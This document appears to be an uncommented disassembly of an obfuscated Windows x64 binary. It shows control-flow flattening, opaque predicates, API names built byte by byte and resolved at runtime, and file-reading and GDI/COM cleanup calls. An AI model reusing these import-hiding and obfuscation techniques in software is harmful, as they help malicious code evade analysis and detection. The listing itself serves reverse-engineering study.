cmovne ecx, ebx
test dl, dl
mov edx, 0x9d8b3062
cmovne ecx, edx
mov edx, dword [rbp - 0x58]
mov dword [rbp + 0x1a4], edx
jmp 0x14001f69b
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xceea229e
and edx, 0x3115dd61
or edx, ecx
mov ebx, edx
xor ebx, 0x3115dd61
xor edx, 0x4200208c
and edx, 0x520469ad
mov ecx, ebx
and ecx, 0xadfb9652
or ecx, edx
xor ecx, 0xadfb9653
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0xd2f76f5
mov ebx, 0x9d1814a3
cmovne edx, ebx
test al, al
mov eax, edx
cmovne eax, ebx
test cl, cl
cmove eax, edx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x4d3a7a6c
mov eax, edx
and eax, 0xb2c58593
or eax, ebx
xor eax, 0xb2c58592
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x60f80124
mov ebx, 0x88fd8f5
cmovne eax, ebx
test cl, cl
mov ecx, 0x60f80124
jmp 0x14001e63d
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x70755d79
mov edx, 0x42cf90ec
cmovne ecx, edx
test bl, bl
mov edx, 0x70755d79
cmovne edx, ecx
test al, al
cmove edx, ecx
jmp 0x14001fe27
mov eax, 0xbf0a317e
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
mov rdx, r13
mov r8d, 0x40000000
call qword [rax + pe_nt_image_headers64]
add rsp, 0x20
mov eax, 0x35e3b4e3
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x9139d513
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0xcb127d7
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov al, byte [rbp - 0x12]
mov r8b, byte [rbp - 0x11]
mov edx, r8d
xor dl, 1
mov r9d, eax
xor r9b, dl
mov ebx, r8d
and bl, dl
mov ecx, ebx
xor cl, 1
xor bl, r8b
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
xor r9b, 1
or al, r8b
xor al, 1
or al, r9b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xdba9fe9a
mov ebx, 0x7966c01e
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0xdba9fe9a
jmp 0x14001f199
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x43280b51
and edx, 0xbcd7f4ae
or edx, ecx
mov ecx, edx
xor ecx, 0xbcd7f4ae
and ecx, 0xfffffffe
xor edx, 0x43280b50
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x58fb2da8
and edx, 0xa704d257
or edx, ecx
xor edx, 0xa704d257
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, al
or al, dl
and bl, dl
or bl, cl
mov ecx, eax
xor cl, bl
test bl, bl
mov edx, 0x42a67488
mov ebx, 0x69834110
cmovne edx, ebx
test al, al
mov eax, 0x42a67488
cmovne edx, eax
test cl, cl
jmp 0x14001df2b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xb864e26d
mov edx, eax
and edx, 0x479b1d92
or edx, ecx
xor edx, 0x479b1d93
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x7156cd67
and eax, 0x8ea93298
or eax, ecx
xor eax, 0x8ea93298
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xe3889c9c
mov ebx, 0x31340b9b
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0xe3889c9c
jmp 0x140017565
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x1c8e088c
mov ecx, 0x80ce0783
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0x1c8e088c
jmp 0x14001f199
mov eax, 0xbd1bf823
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe4270c4e
and edx, 0x1bd8f3b1
or edx, ebx
xor edx, 0xe4270c4f
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x35e3b4e3
mov ebx, 0x2cebb197
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x35e3b4e3
jmp 0x14001f199
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x1b7a51bf
mov eax, edx
and eax, 0xe485ae40
or eax, ebx
xor eax, 0xe485ae41
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xd8c8e0e0
mov ecx, 0x5884ea89
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xd8c8e0e0
jmp 0x14001f199
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 3
mov rcx, r13
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [0x1400820f0]
add rsp, 0x40
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
cmp rax, 0xffffffffffffffff
mov eax, 0x83074138
mov ecx, 0xf3b39ae3
jmp 0x14001f199
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x60]
add rsp, 0x20
mov eax, 0xfc6d2e9f
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp byte [rbp + 0x186], 0
mov eax, 0xb01a74ca
mov ecx, 0x97f100c3
jmp 0x14001f467
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x53cdcd36
mov ebx, 0xed23d8cd
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0x53cdcd36
jmp 0x140017565
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xdcb496d7
and edx, 0x234b6928
or edx, eax
mov eax, edx
xor eax, 0x234b6928
and eax, 0xfffffffe
xor edx, 0xdcb496d6
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0x1ac0451b
mov ebx, 0x15670932
cmovne edx, ebx
test cl, cl
mov ecx, 0x1ac0451b
cmovne edx, ecx
test al, al
cmove edx, ebx
jmp 0x14001fe27
cmp byte [rbp + 0x12f], 0
mov eax, 0x32f6771
mov ecx, 0x8da95392
cmovne eax, ecx
mov ecx, dword [rbp + 0x128]
mov dword [rbp - 0x18], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0xa758492e
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xf7ac24d
mov ebx, 0x801f1bd8
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0xf7ac24d
cmovne ecx, ebx
test dl, dl
cmovne ecx, eax
jmp 0x14001f6a0
cmp byte [rbp + 0xd7], 0
mov eax, 0x7ef07590
mov ecx, 0x634761a1
cmovne eax, ecx
mov ecx, dword [rbp + 0xd0]
mov dword [rbp - 0x54], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp byte [rbp + 0x10f], 0
mov eax, 0x2c20e400
mov ecx, 0x697815b5
cmovne eax, ecx
mov ecx, dword [rbp + 0x108]
mov dword [rbp - 0x1c], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x38]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x47
mov rax, qword [rbp + 0x38]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 2], 0x74
mov rax, qword [rbp + 0x38]
mov byte [rax + 3], 0x46
mov rax, qword [rbp + 0x38]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 5], 0x6c
mov rax, qword [rbp + 0x38]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 7], 0x53
mov rax, qword [rbp + 0x38]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 9], 0x7a
mov rax, qword [rbp + 0x38]
mov byte [rax + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
xor edx, edx
call rax
add rsp, 0x20
mov dword [rbp + 0x174], eax
mov esi, dword [rbp + 0x174]
add esi, 0xa
sub rsp, 0x20
mov rcx, rsi
call fcn.14005ff54
add rsp, 0x20
mov qword [rbp + 0x178], rax
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call fcn.140059c80
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
mov r8d, dword [rbp + 0x174]
mov rdx, qword [rbp + 0x178]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
xor r9d, r9d
call qword [0x1400820e8]
add rsp, 0x30
test rax, rax
setne byte [rbp + 0x186]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x8bc7c3ec
and ecx, 0x74383c13
or ecx, edx
xor ecx, 0x8bc7c3ed
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
mov eax, 0xbb742d1b
mov ecx, 0x99844145
cmovne eax, ecx
test dl, dl
mov ecx, 0xbb742d1b
cmovne ecx, eax
test bl, bl
jmp 0x140017565
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x84bf5f61
mov ebx, 0x1535bd43
jmp 0x14001f18d
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, 0xf337bab4
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x58]
add rsp, 0x20
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3ef53c98
and edx, 0xc10ac367
or edx, ecx
mov ebx, edx
xor ebx, 0xc10ac367
xor edx, 0x34f03418
and edx, 0x35faf73c
mov ecx, ebx
and ecx, 0xca0508c3
or ecx, edx
xor ecx, 0xca0508c2
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or bl, dl
and dl, al
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xa4b2826
mov ebx, 0x7df6a6a
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0xa4b2826
jmp 0x14001fe24
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xdad925b2
and ecx, 0x2526da4d
or ecx, eax
mov eax, ecx
xor eax, 0x2526da4c
and eax, 0xfffffffe
xor ecx, 0xdad925b3
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x1fdc3505
mov ebx, 0x58687a79
cmovne eax, ebx
test cl, cl
mov ecx, 0x1fdc3505
jmp 0x140017560
mov eax, 0x58536697
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x93c6f074
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x87a0a9c8
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x58]
add rsp, 0x20
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6f218be1
and edx, 0x90de741e
or edx, ecx
mov ecx, edx
xor ecx, 0x90de741e
xor edx, 0x63208b60
and edx, 0x63b88b62
mov ebx, ecx
and ebx, 0x9c47749d
or ebx, edx
xor ebx, 0x9c47749c
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x34e35392
and ecx, 0xcb1cac6d
or ecx, edx
xor ecx, 0xcb1cac6d
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
xor al, dl
and bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x627d359f
mov ebx, 0x55b5246b
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x627d359f
jmp 0x14001f199
mov eax, 0x731442a7
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x6fdcea09
mov ebx, ecx
and ebx, 0x902315f6
or ebx, edx
xor ebx, 0x902315f7
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa559efdf
and ecx, 0x5aa61020
or ecx, edx
xor ecx, 0x5aa61020
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xffda495f
mov ebx, 0xc9aadfc1
cmovne eax, ebx
test cl, cl
mov ecx, 0xffda495f
jmp 0x14001e63d
mov eax, 0xe3889c9c
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0xd75aca13
mov ebx, 0x5884ea89
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0xd75aca13
jmp 0x14001f199
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x7171c119
and edx, 0x8e8e3ee6
or edx, ebx
xor edx, 0x8e8e3ee7
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xd657840b
mov ebx, 0x9d8b3062
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0xd657840b
jmp 0x14001fe24
mov eax, 0x1c8e088c
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0xa8f911f3
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6500145a
and edx, 0x9affeba5
or edx, ebx
xor edx, 0x6500145b
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x279fb520
mov ebx, 0xb5987a3a
cmovne eax, ebx
test cl, cl
mov ecx, 0x279fb520
cmovne eax, ecx
test dl, dl
jmp 0x14001f5b7
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0xf8]
mov rax, qword [rbp + 8]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 8]
sub rsp, 0x20
call qword [rax + 0x70]
add rsp, 0x20
mov dword [rbp + 0x100], eax
cmp dword [rbp + 0x100], 0
setns byte [rbp + 0x107]
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x92e735fa
mov ebx, ecx
and ebx, 0x6d18ca05
or ebx, edx
xor ebx, 0x6d18ca04
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcc55dc76
and ecx, 0x33aa2389
or ecx, edx
xor ecx, 0x33aa2389
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x2d2b308a
mov edx, 0xb61746ea
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0x2d2b308a
jmp 0x14001f199
mov rax, qword [rbp + 0x150]
mov rax, qword [rbp + 0x148]
mov rax, qword [rbp + 0x140]
mov rax, qword [rbp + 0x138]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xa8]
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x70]
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp + 0x50]
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xb971f6a5
and edx, 0x468e095a
or edx, eax
xor edx, 0x468e095a
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x93c6f074
mov edx, 0x52aae6d8
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x93c6f074
jmp 0x140017565
mov eax, 0x69834110
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe84bd21c
and edx, 0x17b42de3
or edx, ebx
xor edx, 0xe84bd21d
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x7033c78e
mov edx, 0x9b1dfebe
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x7033c78e
jmp 0x140017565
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xbdc81d9e
and ecx, 0x4237e261
or ecx, eax
mov eax, ecx
xor eax, 0x4237e260
and eax, 0xfffffffe
xor ecx, 0xbdc81d9f
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x72144b24
mov ebx, 0xf337bab4
jmp 0x14001ed11
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov edx, 0x5f374bc8
mov eax, 0x6c795752
cmovne edx, eax
test bl, bl
mov eax, 0x5f374bc8
cmovne eax, edx
jmp 0x14001d9ab
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov rdx, qword [rbp + 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x18]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x18]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x18]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 6], 0x4f
mov rax, qword [rbp + 0x18]
mov byte [rax + 7], 0x62
mov rax, qword [rbp + 0x18]
mov byte [rax + 8], 0x6a
mov rax, qword [rbp + 0x18]
mov byte [rax + 9], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xa], 0x63
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xb], 0x74
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov rdx, qword [rbp + 0x20]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x20]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x20]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 6], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 7], 0x43
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov rdx, qword [rbp + 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x52
mov rax, qword [rbp + 0x28]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x28]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 4], 0x61
mov rax, qword [rbp + 0x28]
mov byte [rax + 5], 0x73
mov rax, qword [rbp + 0x28]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 7], 0x44
mov rax, qword [rbp + 0x28]
mov byte [rax + 8], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov rdx, qword [rbp + 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x43
mov rax, qword [rbp + 0x30]
mov byte [rax + 1], 0x6f
mov rax, qword [rbp + 0x30]
mov byte [rax + 2], 0x55
mov rax, qword [rbp + 0x30]
mov byte [rax + 3], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 5], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 6], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 7], 0x74
mov rax, qword [rbp + 0x30]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 9], 0x61
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xa], 0x6c
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xb], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xc], 0x7a
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xd], 0x65
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
call rax
add rsp, 0x20
cmp dword [rbp + 0x1a0], 0
setns byte [rbp + 0x15f]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb1d510b7
and ecx, 0x4e2aef48
or ecx, eax
xor ecx, 0x4e2aef48
sete al
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x9f7f3581
mov ebx, 0xff7f1342
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x9f7f3581
